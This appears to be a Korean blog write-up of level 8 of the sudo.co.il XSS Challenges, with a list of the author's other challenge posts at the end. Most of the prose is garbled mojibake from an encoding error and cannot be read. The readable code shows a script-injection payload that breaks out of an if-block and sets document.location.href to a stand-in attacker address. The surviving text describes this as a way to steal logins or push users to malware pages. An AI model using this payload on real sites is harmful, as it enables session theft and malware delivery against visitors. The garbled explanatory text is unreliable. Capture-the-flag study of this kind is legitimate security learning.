ํฐ์คํ ๋ฆฌ ๋ทฐ
์ ๋จ ๊ณ์๋ ๋ค๋ฅธ ๊ฒ ๋งํฌ ํ๊ทธ ๊ธฐ๋ฅ์ด ์ฌ์ฉ๋๊ณ ์์ง ์์ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ฉด์ ํ๋ฒ ํ์ธํด๋ณด๊ฒ ์ต๋๋ค.
์ ๋จ๊ณ์์ ์ฌ์ฉํ ์ฝ๋๋ฅผ ์ฝ์ ํด๋ณธ๊ฒฐ๊ณผ ๊ธฐ๋ณธ์ ์ธ ์ฝ์ ํํ๊ฐ ์๋ ๋ ผ๋ฆฌ ์ฐ์ฐ์๊ฐ ์ฌ์ฉ๋๊ณ ์์ต๋๋ค.
๊ณ ์ ์์ค๋ก <script> ํ๊ทธ๋ฅผ ์ด์ฉํด " b" ๋ผ๋ ์์ ๋ณ์์ ์ซ์ 1์ ์ ์ธํ์ต๋๋ค. ๊ทธ๋ค์ ์กฐ๊ฑด๋ฌธ์ด ๋์ค๋๋ฐ if( b==2 ) b๋ผ๋ ๋ณ์๊ฐ ์ซ์ 2์ ==(๊ฐ๋ค๋ฉด) --> { a= "" }๋ก ๋์ด๊ฐ๊ณ ์์ต๋๋ค.
์กฐ๊ฑด์์ด ๋ถ์ ๋ฌธ์ ๋ ์ฒ์์ด๋ผ ์กฐ๊ธ ๋์ฒํ์ต๋๋ค. b๋ผ๋ ๋ณ์์๋ ์ซ์ 1๋ก ๊ณ ์ ํ ๋น์ด ๋์ด์๋๋ฐ b == 2 ์ ๋์ผํด์ผ์ง a = ๋ณ์๊ฐ ์ฐธ์ด ๋์ด ๋ฌธ์ฅ์ด ์์ฑ๋๊ธฐ ๋๋ฌธ์ ๋๋ค.
์๋จ์ ๋ณด์๋ฉด alert / prompt / confirm ๊ฐ์ ์ฌ์ฉ์์ ์ํธ์์ฉ ํ ์ ์๋ ํจ์๋ค์ด ์ฌ๊ธฐ๋ฅ์ ํ์ง ๋ชปํ๋๋ก ์ฒซ ๋ฌธ์์ด์ --> ๋๋ฌธ์๋ก ๋ณ๊ฒฝ์์ผ ์๋ฏธ ์๋ ๋ฌธ์์ด์ ๋ง๋ค๊ณ ์์ต๋๋ค.(javascript๋ ๋. ์๋ฌธ์ ๊ตฌ๋ถ)
์ฐ์ alert ๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด ์ฌ๋ฌ Encoding ๊ธฐ๋ฒ๊ณผ confused(ํผ๋ํ) ๊ทธ๋ฆฌ๊ณ "eval"๋ฅผ ํตํ ๋ฌธ์์ด์ ๋ถ๋ฆฌํด๋ด๋ ๊ธฐ๋ฅ์ ํ์ง ๋ชปํ์ต๋๋ค.
์ถ์ ์์ ์๋์๋ ๋ง๋๊ฒ ๊ฐ์ง ์์ ์กฐ๊ธ ๋๊ฒ ์๊ฐํด๋ดค์ต๋๋ค. ํ์ฌ ๊ณ ์ ์ฝ๋๋ ์กฐ๊ฑด๋ฌธ์ด ๋ถ์ด์๊ณ ์ฐ๋ฆฌ์ ์ฝ๋๋ b๊ฐ "2" ์ฆ ์ฐธ์ผ ๊ฒฝ์ฐ์ ์ฌ์ฉ๋๋ ์์ญ์ ๋ค์ด๊ฐ๊ณ ์๊ธฐ ๋๋ฌธ์ "a" ๋ณ์์์ ์ฐ์ ์ ์ผ๋ก ๋ฒ์ด๋์ผ ๋ฉ๋๋ค.
..
..
<script>
b = 1
if ( b == 2 ){ a = "Your_Payload"};
</script>
..
..
<Input Code>
www.sudo.co.il/xss/level8.php?p=" }else{ "
<Output Code>
<script> b = 1 if ( b == 2 ){ a = "" }else{ "" }; </script>
a์ ๋ณ์์ "(๋๋ธ ์ฟผํฐ)๋ฅผ ํ๋๋ง ๋ฃ์ด a = "" ๋ณ์๋ฅผ ๋ง๋ฌด๋ฆฌํด์ฃผ๊ณ " } "๋ฅผ ํตํด ๋ซ์์ฃผ๋ฉด ์ฐธ์ผ ๊ฒฝ์ฐ์ ์ฝ๋ ์์ญ์ ๋์ด ๋๊ฒ ๋ฉ๋๋ค.
if์กฐ๊ฑด๋ฌธ์ ๊ฒฝ์ฐ else(๊ฑฐ์ง) ๋๋ FALSE ๋ ํจ๊ป ์ถ๊ฐํด์ฃผ๋ฉด b ≠ 2 ์ฆ b ๊ฐ 2์ ๊ฐ์ง ์์ ๋์ ๋ฌธ์ฅ์ ์ฝ์ด ๋ค์ด๊ฒ ๋ฉ๋๋ค.(b = 1 ์ด ๊ณ ์ )
์ด์ ๊ธฐ๋ฐ์ ๋ค์ ธ ๋จ์ผ๋ ํ์ ์ฐฝ์ ์คํํ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค.
ํ์ง๋ง ์์์ ์ค๋ช ๋๋ ธ๋ค์ํผ ์ฌ์ฉ์์ ์ํธ์์ฉ์ ํ ๋งํ ํ์ ์ฐฝ์ ์คํํ ์ ์์๊ธฐ์ ์กฐ๊ธ ๋ค๋ฅธ ๋ฐฉ์์ผ๋ก ์ ๊ทผํด ๋ณด์์ต๋๋ค.
document.location.href
href๋ location ๊ฐ์ฒด์ ์ํด์๋ ํ๋กํผํฐ๋ก ํ์ฌ ์ ์ ์ค์ธ ํ์ด์ง ์ ๋ณด๋ฅผ ๊ฐ๊ณ ์์ต๋๋ค. ๋ํ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์๋ ํ๋กํผํฐ์ด๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ํ์ด์ง๋ก ์ด๋ํ๋๋ฐ๋ ์ฌ์ฉ๋๊ณ ์์ต๋๋ค.
location.href="์ด๋ํ ํ์ด์ง ์ฃผ์";
b์ ๊ฐ์ด 2๊ฐ ์๋ ๊ฒ์ ํ์ฉํ์ฌ else ๋ฌธ์ ํตํด document.location์ ์ง์ ํด์ฃผ๋ฉด ํด๋น ๋งํฌ๋ฅผ ์ ์ํ ์ฌ์ฉ์๋ ๊ณต๊ฒฉ์๊ฐ ์ง์ ํด๋ ๊ฒฝ๋ก๋ก ์๋ ์ด๋ํ๊ฒ ๋ฉ๋๋ค.
์ฆ ์ด๋ํ ๊ฒฝ๋ก๋ฅผ ๊ณต๊ฒฉ์์ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ๊ฐ ์ฝ์ ๋ ๊ฒฝ๋ก๋ก ์ด๋์ํด์ผ๋ก์จ ์ฌ๋ฌ ํํฐ๋ง ๊ฒ์ฆ์ ์ฐํํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๋ฐฉ์์ ํตํด document.location์ผ๋ก ์ด๋๋ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฑฐ๋ ๋ฐ์ด๋ฌ์ค๊ฐ ์กด์ฌํ๋ ํ์ด์ง๋ก ์ด๋์ํค๊ฒ ํ๋ ๋ฑ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ ๋์ํ ์ ์์ต๋๋ค.
Exploit Code
www.sudo.co.il/xss/level8.php?p=" }else{document.location.href="attack.address"}//
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 8-1 (0) | 2020.12.12 |
---|---|
[LOS] Dragon ํ์ด(20) (0) | 2020.12.11 |
[LOS] Xavis ํ์ด(19) (0) | 2020.12.10 |
[LOS] Nightmare ํ์ด(18) (0) | 2020.12.10 |
XSS Challenges 7 (0) | 2020.12.10 |